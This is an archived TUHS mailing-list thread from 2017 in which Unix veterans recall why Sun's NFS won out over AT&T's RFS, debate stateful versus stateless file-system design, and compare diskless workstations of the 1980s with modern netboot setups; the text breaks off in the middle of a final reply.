On Wed, Sep 27, 2017 at 11:44 AM, <arnold at skeeve.com> wrote:

> Clem Cole <clemc at ccc.com> wrote:
>
> > On Sun, Sep 24, 2017 at 1:51 PM, Arthur Krewat <krewat at kilonet.net>
> wrote:
> >
> > > Where does RFS (AT&T System III) fit in all of this?
> > >
> > Well it was not in PWB 3.0 - aka System III.
>
> It was in System V Release 3, thus the confusion.  Sun integrated it
> into SunOS 4.0 (IIRC) and then pulled it out around 4.1.something. It
> was for sure gone from 4.1.3 and 4.1.4.
>

...and to this day, even the Linux errno.h carries such gems as EDOTDOT,
described as "RFS specific error"...

Speaking of which, I've been meaning to ask – what was the original meaning
of such errnos as EL2HLT or ENOANO? (And, well, the remaining few dozen of
them?) I've figured out a few, but gave up on some.

-- 
Mantas Mikulėnas <grawity at gmail.com>
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170927/474133e0/attachment.html>

[TUHS] RFS was: Re: UNIX of choice these days?

[Kevin Bowling]

RFS was long out by the time I started using *nix.  I do have media
for it for the 3B2s in my computer collection though.

What were the market forces or limitations that led to NFS prevailing?

Regards,

On Wed, Sep 27, 2017 at 1:44 AM,  <arnold at skeeve.com> wrote:
> Clem Cole <clemc at ccc.com> wrote:
>
>> On Sun, Sep 24, 2017 at 1:51 PM, Arthur Krewat <krewat at kilonet.net> wrote:
>>
>> > Where does RFS (AT&T System III) fit in all of this?
>> >
>> Well it was not in PWB 3.0 - aka System III.
>
> It was in System V Release 3, thus the confusion.  Sun integrated it
> into SunOS 4.0 (IIRC) and then pulled it out around 4.1.something. It
> was for sure gone from 4.1.3 and 4.1.4.
>
>> > Just looking for history on RFS if any.
>> >
>> David Arnovitz's work -- Dave worked for us at Masscomp in Atlanta
>> afterwards.
>
> Interesting!  I never knew that he was involved with it. I don't think
> his name was on any of the USENIX papers.
>
> He and I grew up on the same street, and both sets of parents still
> live there.  He later (with Perry Flinn) went on to found Secureware
> and they did quite well for themselves in the 90s.
>
>> RFS was based on ideas Peter had used in Eighth Edition file system.  When
>> we did EFS @ Masscomp, Perry Flinn and I were both aware of Peter's work ...
>
> I briefly overlapped Perry at Georgia Tech. He was one of the three
> major developers of the Georgia Tech Software Tools Subsystem for Pr1me
> Computers that I later was involved with.  A very bright guy; no idea
> where he is now.
>
> Arnold
>

[TUHS] RFS was: Re: UNIX of choice these days?

[Clem Cole]

[-- Warning: decoded text below may be mangled, UTF-8 assumed --]
[-- Attachment #1: Type: text/plain, Size: 925 bytes --]

On Wed, Sep 27, 2017 at 7:01 PM, Kevin Bowling <kevin.bowling at kev009.com>
wrote:

>
> What were the market forces or limitations that led to NFS prevailing?
>
​Sun pretty much gave it away.   It was simple and 'good enough.'

The Issue was it not a real UNIX file system and did not support full UNIX
semantics.   For a lot of things (like program development) that was
usually ok.  It also exposed a lot a issues in user code - things like
programs that never bothered to check for errors returns (like fclose).

So bad things happened for a long time in a lot of code (silent holes in
your SCCS files that did get detected until months later).

But to Sun and NFS's credit, it solved a problem that was there and was
cheap and so folks used it.

Clem
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170927/ae718e15/attachment.html>

[TUHS] RFS was: Re: UNIX of choice these days?

[Kevin Bowling]

I guess alternatively, what was interesting or neat, about RFS, if
anything?  And what was bad?

On Wed, Sep 27, 2017 at 4:11 PM, Clem Cole <clemc at ccc.com> wrote:
>
>
> On Wed, Sep 27, 2017 at 7:01 PM, Kevin Bowling <kevin.bowling at kev009.com>
> wrote:
>>
>>
>> What were the market forces or limitations that led to NFS prevailing?
>
> Sun pretty much gave it away.   It was simple and 'good enough.'
>
> The Issue was it not a real UNIX file system and did not support full UNIX
> semantics.   For a lot of things (like program development) that was usually
> ok.  It also exposed a lot a issues in user code - things like programs that
> never bothered to check for errors returns (like fclose).
>
> So bad things happened for a long time in a lot of code (silent holes in
> your SCCS files that did get detected until months later).
>
> But to Sun and NFS's credit, it solved a problem that was there and was
> cheap and so folks used it.
>
> Clem

[TUHS] RFS was: Re: UNIX of choice these days?

[Larry McVoy]

I'll weigh on this since my office mate at Sun was the Sun RFS guy (Howard
Chartok, great guy, Mr swapfs, I still remember a long discussion we had
outside of Antonio's nuthouse in Palo Alto about how to tie different
swap files to process groups so we could do better at pagin/pageout,
but I digress.  I should write up that discussion though, it's still
useful today).

From what I remember, RFS worked well in a homogeneous environment.  It
passed structs in binary across the wire.

NFS was based on Sun's RPC stuff that marshalled and unmarshalled the
data.  So it worked with little ints and big ints and Intel byte order
and everyone else's byte order.  RFS not so much.  The RPC stuff is 
actually pretty sweet, I built something I called RPC vectors on top
of it, Ron will remember that, but I digress again.

It's important to note, when talking about NFS, that there was Sun's NFS
and everyone else's NFS.  Sun ran their entire company on NFS.  /usr/dist
was where all the software that was not part of SunOS lived, it was an
NFS mounted volume (that was replicated to each subnet).  It was heavily
used as were a lot of other things.  The automounter at Sun just worked,
wanted to see your buddies stuff?  You just cd-ed to it and it worked.

Much like mmap, NFS did not export well to other companies.  When I went
to SGI I actually had a principle engineer (like Suns distinguished
engineer) tell me "nobody trusts NFS, use rcp if you care about your
data".  What.  The.  Fuck.  At Sun, NFS just worked.  All the time.
The idea that it would not work was unthinkable and if it ever did
not work it got fixed right away.

Other companies, it was a checkbox thing, it sorta worked.  That was
an eye opener for me.  mmap was the same way, Sun got it right and 
other companies sort of did.


On Wed, Sep 27, 2017 at 04:13:07PM -0700, Kevin Bowling wrote:
> I guess alternatively, what was interesting or neat, about RFS, if
> anything?  And what was bad?
> 
> On Wed, Sep 27, 2017 at 4:11 PM, Clem Cole <clemc at ccc.com> wrote:
> >
> >
> > On Wed, Sep 27, 2017 at 7:01 PM, Kevin Bowling <kevin.bowling at kev009.com>
> > wrote:
> >>
> >>
> >> What were the market forces or limitations that led to NFS prevailing?
> >
> > Sun pretty much gave it away.   It was simple and 'good enough.'
> >
> > The Issue was it not a real UNIX file system and did not support full UNIX
> > semantics.   For a lot of things (like program development) that was usually
> > ok.  It also exposed a lot a issues in user code - things like programs that
> > never bothered to check for errors returns (like fclose).
> >
> > So bad things happened for a long time in a lot of code (silent holes in
> > your SCCS files that did get detected until months later).
> >
> > But to Sun and NFS's credit, it solved a problem that was there and was
> > cheap and so folks used it.
> >
> > Clem

-- 
---
Larry McVoy            	     lm at mcvoy.com             http://www.mcvoy.com/lm 

[TUHS] RFS was: Re: UNIX of choice these days?

[Theodore Ts'o]

On Wed, Sep 27, 2017 at 05:39:54PM -0700, Larry McVoy wrote:
> It's important to note, when talking about NFS, that there was Sun's NFS
> and everyone else's NFS.  Sun ran their entire company on NFS.  /usr/dist
> was where all the software that was not part of SunOS lived, it was an
> NFS mounted volume (that was replicated to each subnet).  It was heavily
> used as were a lot of other things.  The automounter at Sun just worked,
> wanted to see your buddies stuff?  You just cd-ed to it and it worked.

So the story that went around MIT Project Athena was that there was
Sun's NFS, and then there was the version which Sun gave way for
others to use, which was a clean-room re-implementation by a
relatively junior engineer.  Which is why when a file was truncated
and then rewritten, and "truncate this file" packet got reordered and
got received after the "here's the new 4k of contents of the file",
Hilarty Enused.

I'm pretty sure the last part was true, because we debugged it at MIT.
Does anyone know if the bit of the "open source" version of NFS being
a crappy reimplementation which Sun "gifted" to the rest of the
industry was true or not?

					- Ted

[TUHS] RFS was: Re: UNIX of choice these days?

[Larry McVoy]

On Wed, Sep 27, 2017 at 11:19:49PM -0400, Theodore Ts'o wrote:
> On Wed, Sep 27, 2017 at 05:39:54PM -0700, Larry McVoy wrote:
> > It's important to note, when talking about NFS, that there was Sun's NFS
> > and everyone else's NFS.  Sun ran their entire company on NFS.  /usr/dist
> > was where all the software that was not part of SunOS lived, it was an
> > NFS mounted volume (that was replicated to each subnet).  It was heavily
> > used as were a lot of other things.  The automounter at Sun just worked,
> > wanted to see your buddies stuff?  You just cd-ed to it and it worked.
> 
> So the story that went around MIT Project Athena was that there was
> Sun's NFS, and then there was the version which Sun gave way for
> others to use, which was a clean-room re-implementation by a
> relatively junior engineer.  Which is why when a file was truncated
> and then rewritten, and "truncate this file" packet got reordered and
> got received after the "here's the new 4k of contents of the file",
> Hilarty Enused.

No, the problem was that people didn't understand open to close
semantics.  Sun was actually an engineering organization that took
the rules seriously.   You know, stuff like sync writes actually
need being sync in order to get the semantics right.

[TUHS] RFS was: Re: UNIX of choice these days?

[Steve Johnson]

[-- Warning: decoded text below may be mangled, UTF-8 assumed --]
[-- Attachment #1: Type: text/plain, Size: 479 bytes --]

I remember Bill Joy visiting Bell Labs and getting a very complete
demo of RFS and being very impressed.  Within a year, Sun announced
NFS.  It took USG 18 months after that to get RFS out the door. 
Just another example of how AT&T could take a technical advantage and
manage to squander it...

Steve


-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170928/7e039008/attachment-0001.html>

[TUHS] Bill Joy was: Re: RFS

[Forrest, Jon]

[-- Warning: decoded text below may be mangled, UTF-8 assumed --]
[-- Attachment #1: Type: text/plain, Size: 871 bytes --]



On 9/28/2017 10:12 AM, Steve Johnson wrote:
> I remember Bill Joy visiting Bell Labs and getting a very complete demo of RFS 
> and being very impressed.  Within a year, Sun announced NFS.  It took USG 18 
> months after that to get RFS out the door.  Just another example of how AT&T 
> could take a technical advantage and manage to squander it...

Speaking of Bill Joy, I remember going to a Unix group meeting at SRI sometime
in late 1977 or early 1978. I was working for Ford Aerospace, an early
commercial Unix adopter. I don't remember who was speaking, but at the end of
the talk somebody from the back of the auditorium asked a very deep
intelligent question. The person speaking was quite taken back by the quality
of the question, and asked who the person was. The person said "I'm Bill Joy,
a graduate student at Berkeley".

The rest is history.

Jon

[TUHS] RFS was: Re: UNIX of choice these days?

[Dave Horsfall]

On Wed, 27 Sep 2017, Kevin Bowling wrote:
> I guess alternatively, what was interesting or neat, about RFS, if
> anything?  And what was bad?

Didn't it support remote devices?  Or am I thinking of something else?

-- 
Dave Horsfall DTM (VK2KFU)  "Those who don't understand security will suffer."

[TUHS] RFS was: Re: UNIX of choice these days?

[William Pechter]

I seem to remember it supported remote devices including tape drives.

Never was lucky enough to have hardware to run it.  Later, the wife had a 3b2... 

I never had any way to talk to it beyond uucp. 

Bill

-----Original Message-----
From: Dave Horsfall <dave@horsfall.org>
To: The Eunuchs Hysterical Society <tuhs at tuhs.org>
Sent: Wed, 27 Sep 2017 8:54 PM
Subject: Re: [TUHS] RFS was: Re: UNIX of choice these days?

On Wed, 27 Sep 2017, Kevin Bowling wrote:
> I guess alternatively, what was interesting or neat, about RFS, if
> anything?  And what was bad?

Didn't it support remote devices?  Or am I thinking of something else?

-- 
Dave Horsfall DTM (VK2KFU)  "Those who don't understand security will suffer."

[TUHS] RFS was: Re: UNIX of choice these days?

[arnold]

Kevin Bowling <kevin.bowling at kev009.com> wrote:

> I guess alternatively, what was interesting or neat, about RFS, if
> anything?  And what was bad?

Good: Stateful implementation, remote devices worked.

Bad: Sent binary over the wire, making interoperability harder. Also,
at System V Relese 3 AT&T made the licensing terms much harder for
the big vendors to swallow (Dec, IBM, HP ...) so many of them didn't
bother. I don't remember the details; something like having to pass
a validation suite to be called "UNIX" and who knows what else.

As others have noted, the Unix wars were a sad, sad story, and I'd
as soon not see the details rehashed endlessly. But licensing was
a big factor in the non-adoption of RFS, not just the technical side.
Sigh.

Arnold

[TUHS] RFS was: Re: UNIX of choice these days?

[Larry McVoy]

On Thu, Sep 28, 2017 at 07:49:17AM -0600, arnold at skeeve.com wrote:
> Kevin Bowling <kevin.bowling at kev009.com> wrote:
> 
> > I guess alternatively, what was interesting or neat, about RFS, if
> > anything?  And what was bad?
> 
> Good: Stateful implementation, remote devices worked.

I'd argue that stateful is really hard to get right when machines panic
or reboot.  Maybe you can do it on the client but how does one save all
that state on the server when the server crashes?

NFS seems simple in hindsight but like a lot of things, getting to that
simple wasn't chance, it was designed to be stateless because nobody
had a way to save the state in any reasonable way.

[TUHS] RFS was: Re: UNIX of choice these days?

[arnold]

> > Kevin Bowling <kevin.bowling at kev009.com> wrote:
> > 
> > > I guess alternatively, what was interesting or neat, about RFS, if
> > > anything?  And what was bad?

> On Thu, Sep 28, 2017 at 07:49:17AM -0600, arnold at skeeve.com wrote:
> > Good: Stateful implementation, remote devices worked.

Larry McVoy <lm at mcvoy.com> wrote:

> I'd argue that stateful is really hard to get right when machines panic
> or reboot.  Maybe you can do it on the client but how does one save all
> that state on the server when the server crashes?
>
> NFS seems simple in hindsight but like a lot of things, getting to that
> simple wasn't chance, it was designed to be stateless because nobody
> had a way to save the state in any reasonable way.

I won't disagree with you.

I remember that stateful vs. stateless was one of the big technical
debates of the time, and I remember that (my impression of) the general
feeling was that stateful was better but much harder to do / get right.
(Again, I don't want to start another long thread over this, especially
as I don't really remember any more than what I just wrote.)

So we can downgrade "stateful" from "good" to "different" and let
it go at that. :-)

Thanks,

Arnold

[TUHS] RFS was: Re: UNIX of choice these days?

[Larry McVoy]

On Thu, Sep 28, 2017 at 08:28:08AM -0600, arnold at skeeve.com wrote:
> 
> > > Kevin Bowling <kevin.bowling at kev009.com> wrote:
> > > 
> > > > I guess alternatively, what was interesting or neat, about RFS, if
> > > > anything?  And what was bad?
> 
> > On Thu, Sep 28, 2017 at 07:49:17AM -0600, arnold at skeeve.com wrote:
> > > Good: Stateful implementation, remote devices worked.
> 
> Larry McVoy <lm at mcvoy.com> wrote:
> 
> > I'd argue that stateful is really hard to get right when machines panic
> > or reboot.  Maybe you can do it on the client but how does one save all
> > that state on the server when the server crashes?
> >
> > NFS seems simple in hindsight but like a lot of things, getting to that
> > simple wasn't chance, it was designed to be stateless because nobody
> > had a way to save the state in any reasonable way.
> 
> I won't disagree with you.
> 
> I remember that stateful vs. stateless was one of the big technical
> debates of the time, and I remember that (my impression of) the general
> feeling was that stateful was better but much harder to do / get right.
> (Again, I don't want to start another long thread over this, especially
> as I don't really remember any more than what I just wrote.)
> 
> So we can downgrade "stateful" from "good" to "different" and let
> it go at that. :-)

That other post that had a link to a post from Rick Macklem tickled my
memory so I went looking.

He wrote this:

https://docs.freebsd.org/44doc/smm/06.nfs/paper.pdf

which included some of what Clem has hinted at (I think).  Did this stuff
ever go anywhere?  Is it BSD only?  Abandoned or what?

--lm

[TUHS] RFS was: Re: UNIX of choice these days?

[Bakul Shah]

> On Sep 28, 2017, at 7:07 AM, Larry McVoy <lm at mcvoy.com> wrote:
> 
> On Thu, Sep 28, 2017 at 07:49:17AM -0600, arnold at skeeve.com wrote:
>> Kevin Bowling <kevin.bowling at kev009.com> wrote:
>> 
>>> I guess alternatively, what was interesting or neat, about RFS, if
>>> anything?  And what was bad?
>> 
>> Good: Stateful implementation, remote devices worked.
> 
> I'd argue that stateful is really hard to get right when machines panic
> or reboot.  Maybe you can do it on the client but how does one save all
> that state on the server when the server crashes?
> 
> NFS seems simple in hindsight but like a lot of things, getting to that
> simple wasn't chance, it was designed to be stateless because nobody
> had a way to save the state in any reasonable way.

I have some first hand experience with this.... in 1984.

Valid Logic Systems Inc, an early VLSI design vendor hired me
as a contractor to fix bugs in this funky ethernet driver they
had (from Lucas films, IIRC) that did some remote file
operations. I proposed that instead I do a "proper" networked
file system and to my amazement they agreed to let me build a   
prototype.
 
I first built an RPC layer (ethertype 1600 -- see RFC 1700!)
and then EFS (extended FS) that allowed access to remote 
files.  Being a one man team I punted on generality. Just
hand-built separate marshall/unmarshall function for each
remote procedure.  No mounts. Every node's FS was visible to
everyone else (subject to Unix permissions). /net/ path prefix
was for remote files.
 
All this took about 2-3 months. Performance was decent for a
1984 era workstation. Encouraged by the progress I suggested
we add in missing functionality such as the ability to chdir 
to a remote dir etc. Yes, state! And complications!
 
On bootup every node advertized its presence & a "generation"
number (incremented by 1 from the last gen) so that other
nodes can drop old outstanding state -- not unlike a disk 
dying but still messy to clean things up. Next had to make
scheduling priority for remote operations to be interruptible.
People didn't like "cd /net/foo" hanging indefinitely! unlink
and mv were a problem (machine A wouldn't know if machine B    
did this). rm was easy to fix -- just add a refcount for every
remote machine with an open. mv not so. I don't think I ever
solved this. Local FS read/write are atomic so I tried very
hard to make the remote read/writes atomic as well. This can
get interesting in presence of a node crashing....
 
At about this time, Sun gave a presentation on NFS to Valid.
I suspect Valid also realized that doing this properly was
a much bigger than a one man project. Result: they terminated
the project. It was a fun project while it lasted. The fact
this much was done was thanks to a lot of invaluable help
from my friend Jamie Markevitch (also a contractor @ Valid
at that point).

At the time I thought all of these stateful problems were
solvable given more time but now I am not so sure. But as
a result of that belief I never really liked NFS. I felt
they took the easy way out.

[TUHS] RFS was: Re: UNIX of choice these days?

[Clem Cole]

[-- Warning: decoded text below may be mangled, UTF-8 assumed --]
[-- Attachment #1: Type: text/plain, Size: 3330 bytes --]

On Thu, Sep 28, 2017 at 9:49 AM, <arnold at skeeve.com> wrote:

> Kevin Bowling <kevin.bowling at kev009.com> wrote:
>
> > I guess alternatively, what was interesting or neat, about RFS, if
> > anything?  And what was bad?
>
> Good: Stateful implementation, remote devices worked.

​Right -- and full POSIX FS system semantics.  Everything worked as you
expected - no surprises.



>
>
> Bad: Sent binary over the wire, making interoperability harder.

​Yup - Peter used a very simple function shipping model in Eighth edition
and Dave did the same with RFS.   With Plan8 they got more sophisticated.
Plan8 and EFS were more similar in that aspect.​

The other thing RFS did not have 'out of the box' was a 'diskless.'

Truth is that an Sun-3 running 'diskless' != as an Apollo running
'twinned.'  [There is a famous Clem' story I'll not repeat here from
Masscomp about a typo I made, but your imagination would probably be right
- when I refused to do build a diskless system for Masscomp]....

But 'diskless' was the worlds sleaziest 'add-in' disk business and Sun sold
a ton of systems.   People were not going to toss out their diskless system
when they discovered the performance sucked.  The bought a disk for them
(even though a Masscomp or an Apollo with a disk was cheaper to start).

[It was brilliant marketing on Sun's part...  It was the #1 thing that made
Sun succeed early on.  NFS and the low end entry system made Sun .. they
nailed it.]



> Also,
> ​ ​
> at System V Relese 3 AT&T made the licensing terms much harder for
> ​ ​
> the big vendors to swallow (Dec, IBM, HP ...) so many of them didn't
> bother.

​The funny part was the SVR3 was the 'final' license most of the vendors
used (IBM, HP, DEC) when it was done.  IBM and HP both bought it out.   DEC
never did, although DEC shipped Tru64 on an SVR3 license.

Sun bought out an SRV4 license but that was different.​



> I don't remember the details; something like having to pass
> a validation suite to be called "UNIX" and who knows what else.

​The suite was only part of the issue, there were other terms that AT&T
back-ed off, when IBM, HP et al pushed back.    They all have System-III
licenses, AT&T really wanted to move them to SVR3 licenses.




>
>
> As others have noted, the Unix wars were a sad, sad story, and I'd
> as soon not see the details rehashed endlessly.

​I agree - it was a sad, sad time.   It was 'who was going to control this'
issue.​
None of them could see, the tighter the grabbed, the less control they had
and more the seeded control the Microsoft.   As you said, sad, sad, time...




> But licensing was
> ​ ​
> a big factor in the non-adoption of RFS, not just the technical side.
> Sigh


​Hmm...   I'm not so sure.   If RFS had come out before NFS, maybe.  But
NFS took root and was cheap and easy and good enough for what people needed
to do most everything.

That was what made it a brilliant solution.  I admire Kleiman for find the
hole and doing such a good job of filling it.

In many ways, Dave did 'more' with RFS but it was 'harder' to in a number
of different ways to consume (both technical and political)
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170928/21c511e7/attachment.html>

[TUHS] RFS was: Re: UNIX of choice these days?

[Dave Horsfall]

On Thu, 28 Sep 2017, Clem Cole wrote:

> Truth is that an Sun-3 running 'diskless' != as an Apollo running 
> 'twinned.' [There is a famous Clem' story I'll not repeat here from 
> Masscomp about a typo I made, but your imagination would probably be 
> right - when I refused to do build a diskless system for Masscomp]....

Not the infamous "dikless" workstation?  I remember a riposte from a woman 
(on Usenet?), saying she didn't know that it was an option...

-- 
Dave Horsfall DTM (VK2KFU)  "Those who don't understand security will suffer."

[TUHS] RFS was: Re: UNIX of choice these days?

[Larry McVoy]

On Fri, Sep 29, 2017 at 08:08:16AM +1000, Dave Horsfall wrote:
> On Thu, 28 Sep 2017, Clem Cole wrote:
> 
> >Truth is that an Sun-3 running 'diskless' != as an Apollo running
> >'twinned.' [There is a famous Clem' story I'll not repeat here from
> >Masscomp about a typo I made, but your imagination would probably be right
> >- when I refused to do build a diskless system for Masscomp]....
> 
> Not the infamous "dikless" workstation?  I remember a riposte from a woman
> (on Usenet?), saying she didn't know that it was an option...

I dunno why all the hating on diskless.  They actually work, I used the
heck out of them.  For kernel work, stacking one on top of the other,
the test machine being diskless, was a cheap way to get a setup.

Sure, disk was better and if your work load was write heavy then they
sucked (*), but for testing, for editing, that sort of thing, they were
fine.

--lm

(*) I did a distributed make when I was working on clusters.  Did the
compiles on a pile of clients, all the data was on the NFS server, I started
the build on the NFS server, did all the compiles remotely, did the link
locally.  Got a 12x speed up on a 16 node + server setup.  The other kernel
hacks were super jealous.  They were all sharing a big SMP machine with
a Solaris that didn't scale for shit, I was way faster.

[TUHS] RFS was: Re: UNIX of choice these days?

[Kevin Bowling]

This is pretty much how we work today.  Build or crossbuild the kernel
on a host with your editor of choice and hopefully tons of cores like
my dual socket desktop.  Then netboot the device under test/victim.
Panic, edit, repeat, no panic :)

With modern CPUs and NICs you can pretty easily do diskless now.  But
for "scale out" designs there's something to be said for having lots
of fully independent systems, especially if the applications software
can avoid any artificial locality dependence.

On Thu, Sep 28, 2017 at 3:20 PM, Larry McVoy <lm at mcvoy.com> wrote:
> On Fri, Sep 29, 2017 at 08:08:16AM +1000, Dave Horsfall wrote:
>> On Thu, 28 Sep 2017, Clem Cole wrote:
>>
>> >Truth is that an Sun-3 running 'diskless' != as an Apollo running
>> >'twinned.' [There is a famous Clem' story I'll not repeat here from
>> >Masscomp about a typo I made, but your imagination would probably be right
>> >- when I refused to do build a diskless system for Masscomp]....
>>
>> Not the infamous "dikless" workstation?  I remember a riposte from a woman
>> (on Usenet?), saying she didn't know that it was an option...
>
> I dunno why all the hating on diskless.  They actually work, I used the
> heck out of them.  For kernel work, stacking one on top of the other,
> the test machine being diskless, was a cheap way to get a setup.
>
> Sure, disk was better and if your work load was write heavy then they
> sucked (*), but for testing, for editing, that sort of thing, they were
> fine.
>
> --lm
>
> (*) I did a distributed make when I was working on clusters.  Did the
> compiles on a pile of clients, all the data was on the NFS server, I started
> the build on the NFS server, did all the compiles remotely, did the link
> locally.  Got a 12x speed up on a 16 node + server setup.  The other kernel
> hacks were super jealous.  They were all sharing a big SMP machine with
> a Solaris that didn't scale for shit, I was way faster.
>

[TUHS] RFS was: Re: UNIX of choice these days?

[Andreas Kusalananda Kähäri]

[-- Warning: decoded text below may be mangled, UTF-8 assumed --]
[-- Attachment #1: Type: text/plain, Size: 2478 bytes --]

On Thu, Sep 28, 2017 at 03:20:56PM -0700, Larry McVoy wrote:
> On Fri, Sep 29, 2017 at 08:08:16AM +1000, Dave Horsfall wrote:
> > On Thu, 28 Sep 2017, Clem Cole wrote:
> > 
> > >Truth is that an Sun-3 running 'diskless' != as an Apollo running
> > >'twinned.' [There is a famous Clem' story I'll not repeat here from
> > >Masscomp about a typo I made, but your imagination would probably be right
> > >- when I refused to do build a diskless system for Masscomp]....
> > 
> > Not the infamous "dikless" workstation?  I remember a riposte from a woman
> > (on Usenet?), saying she didn't know that it was an option...
> 
> I dunno why all the hating on diskless.  They actually work, I used the
> heck out of them.  For kernel work, stacking one on top of the other,
> the test machine being diskless, was a cheap way to get a setup.
> 
> Sure, disk was better and if your work load was write heavy then they
> sucked (*), but for testing, for editing, that sort of thing, they were
> fine.
> 
> --lm

My main work setup today is actually a diskless (X11-less) OpenBSD
system.  It's just something I set up in a VM environment to learn how
to do it (I'm on a work laptop running Windows 10, as I need Windows
for some few work-related tasks), but it works just fine and I have no
reason to change it.  For one thing, it makes backups easier as they can
run locally on the server.

At some point I hope to buy I smaller dedicated server to run the NFS
server (and mail, etc.) but I see no real reason not to keep running the
diskless client in a VM on my laptop.  Heck, then I might even be able
to netboot the laptop itself without disturbing the Windows system on it
at all...

> 
> (*) I did a distributed make when I was working on clusters.  Did the
> compiles on a pile of clients, all the data was on the NFS server, I started
> the build on the NFS server, did all the compiles remotely, did the link
> locally.  Got a 12x speed up on a 16 node + server setup.  The other kernel
> hacks were super jealous.  They were all sharing a big SMP machine with
> a Solaris that didn't scale for shit, I was way faster.
> 

OpenBSD has this "dpb" thing ("distributed ports builder",
/usr/ports/infrastructure/bin/dpb, http://man.openbsd.org/dpb) that
does distributed building of 3rd-party packages.  It does exactly this,
sharing the sources over NFS.


Cheers,

-- 
Andreas Kusalananda Kähäri,
National Bioinformatics Infrastructure Sweden (NBIS),
Uppsala University, Sweden.

[TUHS] RFS was: Re: UNIX of choice these days?

[Clem Cole]

[-- Warning: decoded text below may be mangled, UTF-8 assumed --]
[-- Attachment #1: Type: text/plain, Size: 2661 bytes --]

On Fri, Sep 29, 2017 at 4:59 AM, Andreas Kusalananda Kähäri <
andreas.kahari at icm.uu.se> wrote:
>
> My main work setup today is actually a diskless (X11-less) OpenBSD
> ​ ​
> system.


​Please be careful when you compare a technology choice of today with
yesterday.​

What Larry and I were arguing about diskless was based on the Masscomp
WS-500 vs Sun-3 vs Apollo system of the same vintage.   Pricing on the 3
systems (with a disk) and the same amount of memory (all three used the
same 16Mhz 68020 processor)  was $9.5K for the WS-500, $10K for the Apollo
and $11.5K for the Sun.   But if you dropped the disk out the system, the
Sun's dropped to $7K and the Apollo's $6.5K (Masscomp could not because I
refused to build it as I thought it was crappy idea for a real time system).

FYI:  Sun charged another $5K for an add-in disk unit, although on
the aftermarket you could get one that worked fine for about $4K [which is
what we did to all the Stellar development systems when we discovered that
they did not work as well as we had thought].

IIRC the memory was 4M (it might have been a little more, but not too
much).    The disk itself was on the order of 100M in size and was ST-506
based on, with an ST-506 to SCSI converter.   I'm trying to remember when
the 200-500M 5.25in ST-506 disk showed up but I think it was a little after
that.

The point is the cost of the HW and configuration of the HW for all intents
and purposes was the same between the three systems.
The difference really was the software.    Each had made different
choices... given their chosen markets.

Today, the HW  allows different choices.  Memory configurations alone, make
diskless much more interesting.   Ignoring a local cache, if you a RAM file
system on a system like what I just described, it took up 1/4 of the memory
you had.

Today, Linux and *BSD use 'ramFS' just to boot the OS - which makes perfect
sense, *today*.

On the other hand, back in the day, on the Masscomp, we turned the cache
off and 'borrowed it' as scratch pad RAM for the boot process (UNIX turned
it on as part of turning on the MMU) because memory was such a premium and
it might not be working.    *Diskless was cost choice in the old days. *
Today the price of the disk (SSD) (i.e. price/bit is so small) the 'cost'
has more to do with power and space in the case and possibly portability
than the price of the bits themselves.   In theory a 'Chromebook' style
system of today needs to permanent local storage.
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170929/c61fef18/attachment.html>

[TUHS] RFS was: Re: UNIX of choice these days?

[Grant Taylor]

[-- Warning: decoded text below may be mangled, UTF-8 assumed --]
[-- Attachment #1: Type: text/plain, Size: 1266 bytes --]

On 09/29/2017 02:59 AM, Andreas Kusalananda Kähäri wrote:
> My main work setup today is actually a diskless (X11-less) OpenBSD 
> system.  It's just something I set up in a VM environment to learn how 
> to do it (I'm on a work laptop running Windows 10, as I need Windows 
> for some few work-related tasks), but it works just fine and I have no 
> reason to change it.  For one thing, it makes backups easier as they can 
> run locally on the server.

I think you're the first person that I've seen say "I am" and not "I 
used to" regarding diskless.

Can I ask for a high level overview of your config?

I am guessing dhcp and / or bootp, combined with tftp for kernel image, 
and NFS for root.

> OpenBSD has this "dpb" thing ("distributed ports builder", 
> /usr/ports/infrastructure/bin/dpb, http://man.openbsd.org/dpb) that 
> does distributed building of 3rd-party packages.  It does exactly this, 
> sharing the sources over NFS.

Interesting.



-- 
Grant. . . .
unix || die

-------------- next part --------------
A non-text attachment was scrubbed...
Name: smime.p7s
Type: application/pkcs7-signature
Size: 3717 bytes
Desc: S/MIME Cryptographic Signature
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170929/94585e4e/attachment-0001.bin>

[TUHS] RFS was: Re: UNIX of choice these days?

[Kurt H Maier]

On Fri, Sep 29, 2017 at 10:46:16AM -0600, Grant Taylor wrote:
>
> I am guessing dhcp and / or bootp, combined with tftp for kernel
> image, and NFS for root.
          
I run linux workstations and a few supercomputers by PXE booting via    
DHCP, serving a kernel and initrd over tftp, then having init download a
rootfs tarball, which gets extracted to a ramdisk.  switch_root(8) makes
it easy.  xCAT automates it.

       
khm

[TUHS] RFS was: Re: UNIX of choice these days?

[Pete Wright]

[-- Warning: decoded text below may be mangled, UTF-8 assumed --]
[-- Attachment #1: Type: text/plain, Size: 1155 bytes --]



On 09/29/2017 10:02, Kurt H Maier wrote:
> On Fri, Sep 29, 2017 at 10:46:16AM -0600, Grant Taylor wrote:
>> I am guessing dhcp and / or bootp, combined with tftp for kernel
>> image, and NFS for root.
>            
> I run linux workstations and a few supercomputers by PXE booting via
> DHCP, serving a kernel and initrd over tftp, then having init download a
> rootfs tarball, which gets extracted to a ramdisk.  switch_root(8) makes
> it easy.  xCAT automates it.

I had a similar setup at a large special effects studio I used to work at.

We were trying solve NFSv3 contention issues - especially with large 
directory tree's creating tons of metadata requests on Linux (issue with 
client side caching IIRC) so we experimented with using UnionFS to allow 
for writes to pass-through to local disk.  It was mostly intermediary 
data and initial testing was promising, in that it alleviated the load 
on our filers and seemed to speed up some rendering processes.

I had left before it made it to wide deployment - but it is something 
I've kept in my toolbox since then as an option.

-pete

-- 
Pete Wright
pete at nomadlogic.org
@nomadlogicLA

[TUHS] RFS was: Re: UNIX of choice these days?

[Grant Taylor]

On 09/29/2017 11:02 AM, Kurt H Maier wrote:
> I run linux workstations and a few supercomputers by PXE booting via 
> DHCP, serving a kernel and initrd over tftp, then having init download a 
